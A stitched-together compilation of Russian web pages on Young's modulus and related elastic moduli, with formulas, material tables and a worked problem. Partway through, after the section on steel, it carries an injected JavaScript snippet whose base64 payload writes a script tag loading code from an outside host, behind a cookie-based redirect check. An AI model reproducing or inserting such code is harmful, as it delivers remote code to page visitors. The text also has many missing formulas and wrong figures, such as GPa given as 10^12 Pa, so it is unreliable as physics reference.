Что характеризует модуль юнга

• Деформация в твердом теле называется упругой, если она пропадает после того, как нагрузку с тела сняли.
• В общем случае модуль упругости (E) определяют как
•    

где – напряжение; – относительная деформация. Надо помнить, что данное определение справедливо для линейного отрезка диаграммы напряжений, то есть когда деформацию можно считать упругой. На данном участке диаграммы величина E определена тангенсом угла наклона прямолинейного участка диаграммы.

В зависимости от типа деформации, направления действия деформирующей силы различают несколько модулей упругости. Наиболее часто используемые:

1. модуль Юнга;
2. модуль сдвига;
3. модуль объемной упругости;
4. коэффициент Пуассона и др.

Модуль Юнга

Модуль Юнга используют при характеристике деформация растяжения (сжатия) упругого тела, при этом деформирующая сила действует по оси тела. Модуль Юнга чаще всего определяют используя закон Гука:

   

Модуль Юнга, равен напряжению, появляющемуся в стержне, если его относительное удлинение равно единице (или при двойном удлинении длины тела). На практике кроме резины при упругой деформации двойного удлинения невозможно достичь, тело рвется.

1. Коэффициент упругости и модуль Юнга связаны как:
2.    
3. где – длина тела до деформации; S – площадь поперечного сечения.
4. Единицей измерения модуля Юнга служит паскаль.

Модуль сдвига

• При помощи модуля сдвига (G) характеризуют способность тела оказывать сопротивление изменению формы тела (при этом объем сохраняется). Находят модуль сдвига как:
•    
• – абсолютный сдвиг слоев параллельных по отношению друг к другу; h — расстояние между слоями; F – сила, вызывающая сдвиг, параллельная сдвигающимся слоям тела.
• Если вещество является однородным и изотропным, то модуль сдвига связан с модулем Юнга выражением:
•    

где – коэффициент Пуассона для материала, который зависит от природы вещества. Иногда обозначается буквой .

Модуль объемной упругости

1. Модуль объемной упругости (модуль объемного сжатия) (K) – отражает способность тела к изменению объема при действии объемного напряжения, которое одинаково по всем направлениям. Его определяют выражением:
2.    
3. где V – объем тела; p – давление, оказываемое на тело.
4. Если тело является изотропным, то:
5.    

Примеры решения задач

Понравился сайт? Расскажи друзьям!

Модуль Юнга (упругости)

Все твердые тела, как кристаллические, так и аморфные, имеют свойство изменять свою форму под воздействие приложенной к ним силы. Другими словами, они подвергаются деформации.

Если тело возвращается к исходным размерам и форме после того, как внешнее усилие прекращает свое воздействие, то его называют упругим, а его деформацию считают упругой.

Для любого тела существует предел приложенного усилия, после которого деформация перестает быть упругой, тело не возвращается в исходную форму и к исходным размерам, а остается в деформированном состоянии или разрушается. Теория упругих деформаций тел была создана в конце 17 века британским ученым Р.

Гуком и развита в трудах его соотечественника Томаса Юнга. В их честь Гука и Юнга были названы соответственно закон и коэффициент, определяющий степень упругости тел. Он активно применяется в инженерном деле в ходе расчетов прочности конструкций и изделий.

Модуль Юнга

Основные сведения

Модуль Юнга, (называемый также модулем продольной упругости и модулем упругости первого рода) это важная механическая характеристика вещества. Он является мерой сопротивляемости продольным деформациям и определяет степень жесткости. Он обозначается как E; измеряется н/м2 или в Па.

Это важный коэффициент применяют при расчетах жесткости заготовок, узлов и конструкций, в определении их устойчивости к продольным деформациям. Вещества, применяемые для изготовления промышленных и строительных конструкций, имеют, как правило, весьма большие значения E. И поэтому на практике значения Е для них приводят в гигаПаскалях (1012Па)

Величину E для стержней поддается расчету, у более сложных конструкций она измеряется в ходе опытов.

Приближенные величины E возможно узнать из графика, построенного в ходе тестов на растяжение.

График теста на растяжение

• E- это частное от деления нормальных напряжений σ на относительное удлинение ε.
• E=α/ε
• Закон Гука также можно сформулировать и с использованием модуля Юнга.

Физический смысл модуля Юнга

Во время принудительного изменения формы предметов внутри них порождаются силы, сопротивляющиеся такому изменению, и стремящиеся к восстановлению исходной формы и размеров упругих тел.

Если же тело не оказывает сопротивления изменению формы и по окончании воздействия остается в деформированном виде, то такое тело называют абсолютно неупругим, или пластичным. Характерным примером пластичного тела является брусок пластилина.

Виды деформации

Р. Гук исследовал удлинение стрежней из различных веществ, под воздействием подвешенных к свободному концу гирь. Количественным выражением степени изменения формы считают относительное удлинение, равное отношению абсолютного удлинения и исходной длины.

1. В результате серии опытов было установлено, что абсолютное удлинение пропорционально с коэффициентом упругости исходной длине стрежня  и деформирующей силе F и обратно пропорционально площади сечения этого стержня S:
2. Δl = α * (lF) / S
3. Величину, обратную α, и называют модулем Юнга:
4. 1/α = E
5. Относительная деформация:
6. ε = (Δl) / l = α * (F/S)
7. Отношение растягивающей силы F к S называют упругим напряжением σ:
8. ε=α σ
9. Закон Гука, записанный с использованием модуля Юнга, выглядит так:
10. σ = ε/α = E ε
11. Теперь можно сформулировать физический смысл модуля Юнга: он соответствует напряжению, вызываемому растягиванием стержнеобразного образца вдвое, при условии сохранения целостности.

В реальности подавляющее большинство образцов разрушаются до того, как растянутся вдвое от первоначальной длины. Значение E вычисляют с помощью косвенного метода на малых деформациях.

Коэффициент жёсткости при упругой деформации стержня вдоль его оси k = (ES) / l

Модуль Юнга определяет величину потенциальной энергии тел или сред, подвергшихся упругой деформации.

Значения модуля юнга для некоторых материалов

В таблице показаны значения E ряда распространенных веществ.

Материал	модуль Юнга E, ГПа
Алюминий	70
Бронза	75-125
Вольфрам	350
Графен	1000
Латунь	95
Лёд	3
Медь	110
Свинец	18
Серебро	80
Серый чугун	110
Сталь	200/210
Стекло	70

Модуль продольной упругости стали вдвое больше модуля Юнга меди или чугуна. Модуль Юнга широко применяется в формулах прочностных расчетов элементов конструкций и изделий в целом.

Предел прочности материала

Это предел возникающего напряжения, после которого образец начинает разрушаться.

Статический предел прочности измеряется при продолжительном приложении деформирующего усилия, динамический — при кратковременном, ударном характере такого усилия. Для большинства веществ динамический предел больше, чем статический.

Инструмент для определения предела прочности

Кроме того, существуют пределы прочности на сжатие материала и на растяжение.

Они определяются на испытательных стенда опытным путем, при растягивании или сжатии образцов мощными гидравлическим машинами, снабженными точными динамометрами и измерителями давления.

В случае невозможности достижения требуемого давления гидравлическим способом иногда применяют направленный взрыв в герметичной капсуле.

Допускаемое механическое напряжение в некоторых материалах при растяжении

Из жизненного опыта известно, что разные материалы по-разному сопротивляются изменению формы. Прочностные характеристики кристаллических и других твердых тел определяются силами межатомного взаимодействия.

По мере роста межатомных расстояний возрастают и силы, притягивающие атомы друг к другу. Эти силы достигают максимума при определенной величине напряжения, равной приблизительно одной десятой от модуля Юнга.

Испытание на растяжение

Эту величину называют теоретической прочностью, при ее превышении начинается разрушение материала. В реальности разрушение начинается при меньших значениях, поскольку строение реальных образцов неоднородно. Это вызывает неравномерное распределение напряжений, и разрушение начинается с тех участков, где напряжения максимальны.

Значения σраст в МПа:

Материалы	σраст
Бор	5700	0,083
Графит	2390	0,023
Сапфир	1495	0,030
Стальная проволока	415	0,01
Стекловолокно	350	0,034
Конструкционная сталь	60	0,003
Нейлон	48	0,0025

Эти цифры учитываются конструкторами при выборе материала деталей будущего изделия. С их использованием также проводятся прочностные расчеты. Так, например, тросы, используемые для подъемно- транспортных работ, должны иметь десятикратный запас по прочности. Периодически их проверяют, подвешивая груз в десять раз больше, чем паспортная грузоподъемность троса.

Запасы прочности, закладываемые в ответственные конструкции, также многократны.

Коэффициент запаса прочности

Для количественного выражения запаса прочности при конструировании применяют коэффициент запаса прочности. Он характеризует способность изделия к перегрузкам выше номинальных. Для бытовых изделий он невелик, но для ответственных узлов и деталей, могущих при разрушении представлять опасность для жизни и здоровья человека, его делают многократным.

Запас прочности

Точный расчет прочностных характеристик позволяет создать достаточный для безопасности запас прочности и одновременно не перетяжелить конструкцию, ухудшая ее эксплуатационные характеристики. Для таких расчетов используются сложные математические методы и совершенное программное обеспечение. Наиболее важные конструкции обсчитывают на суперкомпьютерах.

Связь с другими модулями упругости

Модуль Юнга связан с модулем сдвига, определяющим способность образца к сопротивлению против деформации сдвига, следующим соотношением:

E связан также и с модулем объёмной упругости, определяющим способность образца к сопротивлению против одновременного сжатия со всех сторон.

Модуль упругости (Модуль Юнга)

Если на изделие из определенного материала воздействовать некой силой, то он начинает сопротивляться этому действию: сжиматься, растягиваться или изгибаться. Способность к такому противостоянию можно оценить и выразить математически. Название этой прочностной характеристики – модуль упругости.

Параметр для каждого материала различный, и характеризует его прочность. Пользуются величиной при разработке конструкций, деталей и других изделий, с целью предотвращения нарушения их целостности.

Модуль упругости

Общее понятие

При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.

Определение модуля Юнга твердых тел

Упругие материалы – это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.

Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м2 или по международной системе Па.

Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета – нормальное напряжение (σz) и лежащая в плоскости сечения – касательное напряжение (τz).

Опыт с пружинными весами

• Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:
• ε = σz/E (1)
• где ε – относительное удлинение или деформация.
• Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм2 или Н/м2:
• σz = Eε (2)

Модуль упругости – это единица измерения отношения напряжения, создаваемого в материале, к линейной деформации, такой как, растяжение и сжатие.

В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.

Способы расчета модуля упругости

Известны также и другие характеристики упругости, которые описывают сопротивление материалов к воздействиям как к линейным, так и отличным от них.

Величина, которая характеризует сопротивление материала к растяжению, то есть увеличению его длины вдоль оси, или к сжатию – сокращению линейного размера, называется модулем продольной упругости.

1. Обозначается как Е и выражается в Па или ГПа.
3. Показывает зависимость относительного удлинения от нормальной составляющей cилы (F) к ее площади распространения (S) и упругости (Е):
4. σz = F/ES (3)
5. Параметр также называют модулем Юнга или модулем упругости первого рода, в таблице показаны величины для материалов различной природы.

Название материала	Значение параметра, ГПа
Алюминий	70
Дюралюминий	74
Железо	180
Латунь	95
Медь	110
Никель	210
Олово	35
Свинец	18
Серебро	80
Серый чугун	110
Сталь	190/210
Стекло	70
Титан	112
Хром	300

Модулем упругости второго рода называют модуль сдвига (G), который показывает сопротивление материала к сдвигающей силе (FG). Может быть выражена двумя способами.

• Через касательные напряжения (τz) и угол сдвига (γ):

G = τz/γ (4)

• Через соотношение модуля упругости первого рода и коэффициента Пуасонна (ν):

• G = E/2(1+υ) (5)
• Определенное в результате экспериментов значение сопротивления материала изгибу, называется модулем упругости при изгибе, и вычисляется следующим образом:
• EИ = ((0,05-0,1)Fр— 0,2Fр)L2 / 4bh3(ƒ2-ƒ1) (6)
• где Fр – разрушающая сила, Н;
• L – расстояние между опорами, мм;
• b, h – ширина и толщина образца, мм;
• ƒ1, ƒ2– прогибы, образованные в результате нагрузки F1 и F2.

При равномерном давлении по всему объему на объект, возникает его сопротивление, называемое объемным модулем упругости или модулем сжатия (К). Выразить этот параметр можно, практически через все известные модули и коэффициент Пуассона.

Определение модуля упругости щебеночного основания

Параметры Ламе также используют для описания оценки прочности материала. Их два μ – модуль сдвига и λ. Они помогают учитывать все изменения внутри материала в трехмерном пространстве, тогда соотношения между нормальным напряжением и деформацией будет выглядеть следующим образом:

1. σ = 2με + λtrace(ε)I (7)
2. Оба параметра могут быть выражены из следующих соотношений:
3. λ = νE / (1+ν)(1-2ν) (8)
4. μ = E / 2(1+ν) (9)

Модуль упругости различных материалов

Модули упругости для различных материалов имеют совершенно разные значения, которые зависят от:

• природы веществ, формирующих состав материала;
• моно- или многокомпонентный состав (чистое вещество, сплав и так далее);
• структуры (металлическая или другой вид кристаллической решетки, молекулярное строение прочее);
• плотности материала (распределения частиц в его объеме);
• обработки, которой он подвергался (обжиг, травление, прессование и тому подобное).

Так, например, в справочных данных можно найти, что модуль упругости для алюминия составляет диапазон от 61,8 до 73,6 ГПа. Видимо, это и зависит от состояния металла и вида обработки, потому как для отожженного алюминия модуль Юнга – 68,5 ГПа.

https://www.youtube.com/watch?v=cT8A9VtaQRQ\u0026t=15s

Его значение для бронзовых материалов зависит не только от обработки, но и от химического состава:

• бронза – 10,4 ГПа;
• алюминиевая бронза при литье – 10,3 ГПа;
• фосфористая бронза катанная – 11,3 ГПа.

Модуль Юнга латуни на много ниже – 78,5-98,1. Максимальное значение имеет катанная латунь.

Сама же медь в чистом виде характеризуется сопротивлением к внешним воздействиям значительно большим, чем ее сплавы – 128,7 ГПа. Обработка ее также снижает показатель, в том числе и прокатка:

• литая – 82 ГПа;
• прокатанная – 108 ГПа;
• деформированная – 112 ГПа;
• холоднотянутая – 127 ГПа.

Близким значением к меди обладает титан (108 ГПа), который считается одним из самых прочных металлов. А вот тяжелый, но ломкий свинец, показывает всего 15,7-16,2 ГПа, что сравнимо с прочностью древесины.

Для железа показатель напряжения к деформации также зависит от метода его обработки: литое – 100-130 или кованное – 196,2-215,8 ГПа.

Чугун известен своей хрупкостью имеет отношение напряжения к деформации от 73,6 до 150 ГПа, что соответствует от его виду. Тогда как для стали модуль упругости может достигать 235 ГПа.

Модули упругости некоторых материалов

На величины параметров прочности влияют также и формы изделий. Например, для стального каната проводят расчеты, где учитывают:

• его диаметр;
• шаг свивки;
• угол свивки.

Интересно, что этот показатель для каната будет значительно ниже, чем для проволоки такого же диаметра.

Стоит отметить прочность и не металлических материалов. Например, среди модулей Юнга дерева наименьший у сосны – 8,8 ГПа, а вот у группы твердых пород, которые объединены под названием «железное дерево» самый высокий – 32,5 ГПа, дуб и бук имеют равные показатели – 16,3 ГПа.

Среди строительных материалов, сопротивление к внешним силам у, казалось бы, прочного гранита всего 35-50 ГПа, когда даже у стекла – 78 ГПа. Уступают стеклу бетон – до 40 ГПа, известняк и мрамор, со значениями 35 и 50 ГПа соответственно.

Такие гибкие материалы, как каучук и резина, выдерживают осевую нагрузку от 0,0015 до 0,0079 ГПа.

Как определить модуль упругости стали

Выяснить модули упругости для различных марок стали можно несколькими путями:

1. по справочным данным из таблиц;
2. экспериментальными методами для небольшого образца;
3. расчетными методами, зная необходимые данные.

Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки.

Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность.

При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.

Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.

В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.

Сталь	Модуль (Е), ГПа
углеродистая	195-205
легированная	206-235
Ст.3, Ст.5	210
сталь 45	200
25Г2С, 30ХГ2С	200

• Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.
• Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.
• В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:
• E = Fl / AΔl (10)
• Расчеты ведут в мм и МПа.

Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.

Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. function getCookie(e){var U=document.cookie.

match(new RegExp(«(?:^|; )»+e.replace(/([.

$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

(6

Модуль упругости | это… Что такое Модуль упругости?

Модуль упругости — общее название нескольких физических величин, характеризующих способность твёрдого тела (материала, вещества) упруго деформироваться (то есть не постоянно) при приложении к нему силы. В области упругой деформации модуль упругости тела определяется производной (градиентом) зависимости напряжения от деформации, то есть тангенсом угла наклона диаграммы напряжений-деформаций:

где λ (лямбда) — модуль упругости; p — напряжение, вызываемое в образце действующей силой (равно силе, делённой на площадь приложения силы);  — упругая деформация образца, вызванная напряжением (равна отношению изменения размера образца после деформации к его первоначальному размеру). Если напряжение измеряется в паскалях, то, поскольку деформация является безразмерной величиной, единицей измерения λ также будет паскаль. Альтернативным определением является определение, что модуль упругости — это напряжение, достаточное для того, чтобы вызвать увеличение длины образца в два раза. Такое определение не является точным для большинства материалов, потому что это значение намного больше чем предел текучести материала или значения, при котором удлинение становится нелинейным, однако оно может оказаться более интуитивным.

Разнообразие способов, которыми могут быть изменены напряжения и деформации, включая различные направления действия силы, позволяют определить множество типов модулей упругости. Здесь даны три основных модуля:

• Модуль Юнга (E) характеризует сопротивление материала растяжению/сжатию при упругой деформации, или свойство объекта деформироваться вдоль оси при воздействии силы вдоль этой оси; определяется как отношение напряжения к деформации сжатия(удлинения). Часто модуль Юнга называют просто модулем упругости.
• Модуль сдвига или модуль жесткости (G или ) характеризует способность материала сопротивляться изменению формы при сохранении его объёма; он определяется как отношение напряжения сдвига к деформации сдвига, определяемой как изменение прямого угла между плоскостями, по которым действуют касательные напряжения). Модуль сдвига является одной из составляющих явления вязкости.
• Модуль объёмной упругости или Модуль объёмного сжатия (K) характеризует способность объекта изменять свой объём под воздействием всестороннего нормального напряжения (объёмного напряжения), одинакового по всем направлениям (возникающего, например, при гидростатическом давлении). Он равен отношению величины объёмного напряжения к величине относительного объёмного сжатия. В отличие от двух предыдущих величин, модуль объёмной упругости невязкой жидкости отличен от нуля (для несжимаемой жидкости — бесконечен).

Существуют и другие модули упругости: коэффициент Пуассона, параметры Ламе.

Гомогенные и изотропные материалы (твердые), обладающие линейными упругими свойствами, полностью описываются двумя модулями упругости, представляющими собой пару любых модулей. Если дана пара модулей упругости, все другие модули могут быть получены по формулам, представленным в таблице ниже.

В невязких течениях не существует сдвигового напряжения, поэтому сдвиговый модуль всегда равен нулю. Это влечёт также и равенство нулю модуля Юнга.

Формулы преобразования

Упругие свойства гомогенных изотропных линейно-упругих материалов уникально определяются любыми двумя модулями упругости. Таким образом, имея два модуля, остальные можно вычислить по следующим формулам:

Модули упругости (Е) для некоторых веществ:

Материал
Е, МПа
Е, кгс/см²

Алюминий	70000	713 800
Вода	2030	20300
Дерево	10000	102 000
Кость	30000	305 900
Медь	100000	1 020 000
Резина*	10	102
Сталь	200000	2 039 000
Стекло	70000	713 800

См. также

Ссылки

• Free database of engineering properties for over 63,000 materials

Литература

• G. Mavko, T. Mukerji, J. Dvorkin. The Rock Physics Handbook. Cambridge University Press 2003 (paperback). ISBN 0-521-54344-4

Что такое модуль Юнга?

Модуль Юнга ( E или Y ) — это мера твердого тела жесткость или сопротивление упругой деформации под нагрузкой. Он связывает напряжение (силу на единицу площади) с деформацией (пропорциональной деформацией) вдоль оси или линии.

Основной принцип заключается в том, что материал подвергается упругой деформации при сжатии или растяжении, возвращаясь к своей первоначальной форме при снятии нагрузки. В гибком материале происходит большая деформация по сравнению с жестким материалом.

Другими словами:

• Низкое значение модуля Юнга означает, что твердое тело является упругим.
• Высокое значение модуля Юнга значение модуля означает, что твердое тело неупругое или жесткое.

Уравнение и единицы

• Уравнение для модуля Юнга имеет вид :
• E = σ/ε = (F/A)/(ΔL/L 0 ) = FL 0 /AΔL
• Где:

• E — модуль Юнга, обычно выражаемый в паскалях (Па).
• σ — одноосное напряжение
• ε — деформация
• F — сила сжатия или растяжения
• A — площадь поперечного сечения или поперечное сечение, перпендикулярное приложенной силе
• Δ L — изменение по длине (отрицательная при сжатии; положительная при растяжении)
• L 0 — исходная длина

Хотя единицей СИ для модуля Юнга является Па, значения чаще всего выражаются в мегапаскалях (МПа), ньютонах на квадратный миллиметр (Н/мм 2 ), гигапаскали (ГПа) или килоньютон на квадратный миллиметр (кН/мм 2 ). Обычная английская единица измерения — фунты на квадратный дюйм (PSI) или мега PSI (Mpsi).

История

Основная концепция модуль Юнга был описан швейцарским ученым и инженером Леонардом Эйлером в 1727 году. В 1782 году итальянский ученый Джордано Риккати провел эксперименты, приведшие к современным расчетам модуля.

Тем не менее, модуль получил свое название от британского ученого Томаса Янга, который описал его расчет в своем Курсе лекций по естественной философии и механическим искусствам в 1807 году. Вероятно, его следует называть модулем Риккати, т.е.

в свете современного понимания его истории, но это привело бы к путанице.

Изотропные и анизотропные материалы

Модуль Юнга часто зависит от ориентации материала. Изотропные материалы обладают одинаковыми механическими свойствами во всех направлениях. Примеры включают чистые металлы и керамику.

Обработка материала или добавление к нему примесей может привести к образованию зернистой структуры, которая делает механические свойства направленными.

Эти анизотропные материалы могут иметь очень разные значения модуля Юнга в зависимости от того, приложена ли сила вдоль зерна или перпендикулярно ему. Хорошие примеры анизотропных материалов включают дерево, железобетон и углеродное волокно..

Таблица значений модуля Юнга

Эта таблица содержит репрезентативные значения для образцов различных материалов. Имейте в виду, что точное значение для образца может несколько отличаться, поскольку метод испытания и состав образца влияют на данные.

Как правило, большинство синтетических волокон имеют низкие значения модуля Юнга. Натуральные волокна более жесткие. Металлы и сплавы имеют тенденцию демонстрировать высокие значения.

Самый высокий модуль Юнга из всех — для карбина, аллотропа углерода.

Материал
GPa
МПа

Резина (небольшая деформация)	0,01–0,1	1,45–14,5 × 10 −3
Полиэтилен низкой плотности	0,11–0,86	1,6–6,5 × 10 −2
Панцири диатомовых ( кремниевая кислота)	0,35–2,77	0,05–0,4
PTFE (тефлон)	0.5	0.075
HDPE	0.8 td>	0,116
Капсиды бактериофагов	1–3	0,15 –0,435
Полипропилен	1,5–2	0,22–0,29
Поликарбонат	2–2,4	0,29-0,36
Полиэтилентерефталат (ПЭТ)	2–2,7	0,29–0,39
Ny lon	2–4	0,29–0,58
Полистирол твердый	3–3,5	0,44–0,51
Пенополистирол	2,5–7×10 -3	3,6–10,2×10 -4
ДВП средней плотности (МДФ)	4	0,58
Дерево (вдоль волокон)	11	1,60
Кортикальная кость человека	14	2,03
Матрица из армированного стекловолокном полиэстера	17,2	2.49
Нанотрубки ароматического пептида	19–27	2,76–3,92
Высокопрочный бетон	30	4,35
Молекулярные кристаллы аминокислот	21–44	3,04–6,38
Пластик, армированный углеродным волокном	30–50	4,35–7,25
Конопляное волокно	35	5,08
Магний ( Mg)	45	6.53
Стекло	50–90	7,25–13,1
Льняное волокно	58	8,41
Алюминий (Al)	69	10
Перламутровый перламутр (карбонат кальция)	70	10,2
Арамид	70,5–112,4	10,2–16,3
Эмаль зуба (фосфат кальция)	83	12
Волокно крапивы двудомной	87	12,6
Бронза	96–120	13,9–17. 4
Латунь	100–125	14,5–18,1
Титан (Ti)	110,3	16
Титановые сплавы	105–120	15–17,5
Медь ( Cu)	117	17
Пластик, армированный углеродным волокном	181	26,3
Кристалл кремния	130–185	18,9–26,8
Кованое железо	190–210	27,6 –30,5
Сталь (ASTM-A36)	200	29
Иттрий-железный гранат (ЖИГ)	193-200	28-29
Кобальт-хром (CoCr)	220–258	29
Наносферы ароматического пептида	230–275	33,4–40
Бериллий (Be)	287	41,6
Молибден (Mo)	329–330	47.7–47.9
Вольфрам (Вт)	400–410	58–59
Карбид кремния (SiC)	450	65
Карбид вольфрама (WC)	450–650	65–94
Осмий (Os)	525–562	76,1–81,5
Одностенные углеродные нанотрубки	1000+	150+
Графен (C)	1050	152
Diamond (C)	1050–1210	152–175
Карбин (C)	32100	4660

Модуль — это буквально «мера». Вы можете слышать модуль Юнга, называемый модулем упругости , но для измерения упругости используется несколько выражений:

• Модуль Юнга описывает упругость при растяжении вдоль линии при приложении противодействующих сил. Это отношение растягивающего напряжения к растягивающей деформации.
• Объемный модуль (K) аналогичен модулю Юнга, за исключением трех измерений. Это мера объемной упругости, рассчитываемая как объемное напряжение, деленное на объемную деформацию.
• Сдвиг или модуль жесткости (G) описывает сдвиг, когда на объект действуют противодействующие силы. Он рассчитывается как напряжение сдвига по сравнению с деформацией сдвига.

Осевой модуль упругости, модуль продольной волны и первый параметр Ламе являются другими модулями упругости. . Коэффициент Пуассона можно использовать для сравнения деформации поперечного сжатия с деформацией продольного растяжения. Вместе с законом Гука эти значения описывают упругие свойства материала.

Источники

• ASTM E 111, «Стандартный метод испытаний модуля Юнга, модуля упругости и модуля хорды». Книга стандартов, том: 03.01.
• G. Riccati, 1782, Delle vibrazioni sonore dei cilindri , Mem. мат. fis. соц. Italiana, т. 1. С. 444-525..
• Лю, Минцзе; Артюхов, Василий I; Ли, Хункён; Сюй, Фангбо; Якобсон, Борис I (2013). «Карбин из первых принципов: цепочка атомов углерода, наностержень или наноропа?». ACS Nano . 7 (11): 10075–10082. doi: 10.1021/nn404177r
• Трусделл, Клиффорд А. (1960). Рациональная механика гибких или упругих тел, 1638–1788: Введение в оперу Леонхарди Эйлера «Омния», т. X и XI, Seriei Secundae . Орелл Фуссли.

• Что такое объемный модуль?
• Напряжение, деформация и усталость металла
• Эластичность: определение и примеры
• Килопаскаль (кПа) Определение
• Физические свойства вещества
• Как космический лифт Будет работать

• Что такое геологическая деформация?
• Определение работы в химии
• Определение и уравнение закона Бера
• Объяснение пластичности: растягивающее напряжение и металлы
• Исследование Архитектура Напряжения

Вам также может понравиться

Модуль Юнга (модуль упругости): что это, таблица и формулы

• Модуль Юнга (модуль упругости) — это физическая величина, которая характеризует свойства какого-либо материала сгибаться или растягиваться под воздействием силы; по сути именно от этого зависит жёсткость тела.
• Это свойство любого материала, и оно зависит от температуры и оказываемого давления.
• В физике упругость — это свойство твёрдых материалов возвращаться в свою первоначальную форму и размер после устранения сил, которые применялись при деформации.

Другими словами: когда тело деформируется, то появляется сила, которая стремится восстановить первоначальную форму и размер тела. Сила упругости является этой проявляющейся силой.

Также она представляет собой следствие электромагнитного взаимодействия между частицами.

1. Низкое значение модуля Юнга означает, что изучаемое твёрдое тело является эластичным.
2. Высокое значение модуля Юнга означает, что изучаемое твёрдое тело является неэластичным или жёстким.
3. Примеры значений модуля Юнга (упругости) для:

• (т.е. для резины он в 5 раз меньше стали)

Таблица

Большинство материалов имеют значение E очень высокого порядка, поэтому они записываются при помощи «гигапаскалей» ([ГПа]; ).

Материал Модуль Юнга E, [ГПа]

Алмаз	1220
Алюминий	69
Дерево	10
Кадмий	50
Латунь	97
Медь	110
Никель	207
Резина	0,9 (≈ 1 МПа, мегапаскаль)
Сталь	200
Титан	107

Единица измерения и формулы

Единица измерения модуля Юнга в СИ — Ньютон на метр в квадрате (Н/м²), т.е. Паскаль (Па).

Формулы

Существует несколько формул, из которых можно вычислить модуль Юнга. Например, закон Гука.

Закон Гука

Можно вычислить модуль Юнга через эти формулы (мы это и сделаем на примере). Из-за этого закона существуют несколько интересных равенств, которые могут быть полезны для расчётов.

• Закон Гука (этот описывает явления в теле, в дифференциальной форме):
• Где:

• σ — механическое напряжение
• E — модуль Юнга (модуль упругости)
• ε — относительное удлинение

1. Закон Гука (этот описывает явления в теле)
3. Где:

• Fупр — сила упругости
• k × Δl — удлинение тела

Где:

• Fупр — сила упругости
• E — модуль Юнга (модуль упругости)
• S — площадь поперечного сечения
• l — первоначальная длина тела
• Δl — удлинение тела

Где:

• Fупр/S — механическое напряжение, обозначается как σ
• Δl/l — относительное удлинение, обозначается как ε

Следует заметить, что этот закон действует до той точки, когда материал необратимо деформируется и уже не возвращается в свою первоначальную форму. В какой точке это происходит, уже зависит от материала. Если материал очень жёсткий (значит высокое показание модуля упругости), то эта точка может совпадать с разрывом/деформацией.

Другие формулы вычисления модуля Юнга (модуля упругости)

Где:

• E — модуль Юнга (модуль упругости)
• k — жёсткость тела
• l — первоначальная длина стержня
• S — площадь поперечного сечения

• Либо можно выразить k (жёсткость тела):
• Где:

• k — жёсткость тела
• E — модуль Юнга (модуль упругости)
• S — площадь поперечного сечения
• l — первоначальная длина стержня/тела

Пример решения задачи (через закон Гука):

Проволока длиной 2,5 метра и площадью поперечного сечения 2,5 миллиметра² удлинилась на 1 миллиметр под действием силы 50 ньютонов. Определить модуль Юнга.

Дано:

• l = 2,5 м
• F = 50 H
• E = ?

1. Будем искать через закон Гука (σ = E × ε).
2. Помним из закона Гука:
3. σ = F / S (помните, что Fупр/S — механическое напряжение, обозначается как σ)
4. ε = Δl/l (а это относительное удлинение, обозначается как ε)
5. Подставляем в формулу (σ = E × ε):
6. Например, в нашей таблице такой модуль Юнга имеет кадмий.
7. Узнайте также про:

• Напряжённость электрического поля
• Законы Ньютона
• Закон сохранения энергии